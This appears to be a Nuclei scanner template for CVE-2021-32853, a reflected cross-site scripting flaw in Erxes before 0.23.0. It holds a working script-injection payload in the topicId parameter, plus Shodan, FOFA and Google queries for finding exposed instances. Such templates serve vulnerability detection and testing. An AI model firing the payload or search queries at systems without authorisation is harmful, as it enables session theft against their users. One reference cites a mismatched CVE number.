56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-32853
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info:
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name: Erxes <0.23.0 - Cross-Site Scripting
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author: dwisiswant0
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severity: critical
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description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
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- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
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- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
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cvss-score: 9.6
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cve-id: CVE-2021-32853
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cwe-id: CWE-79
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epss-score: 0.01224
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epss-percentile: 0.83856
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cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: erxes
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product: erxes
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shodan-query: http.title:"erxes"
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fofa-query: title="erxes"
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google-query: intitle:"erxes"
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tags: cve2021,cve,xss,erxes,oss
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http:
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- method: GET
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path:
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- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'topic_id: "</script><script>alert(document.domain)</script>'
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- "window.erxesEnv"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a004630440220710309b95468b537919c23f53d4fdcbed93b96ed7a9b7f29377c5c86b800a7ea02205b339a6fab958bf155c864134870b809b82b8b2067f3da69059a95282246238a:922c64590222798bb761d5b6d8e72950 |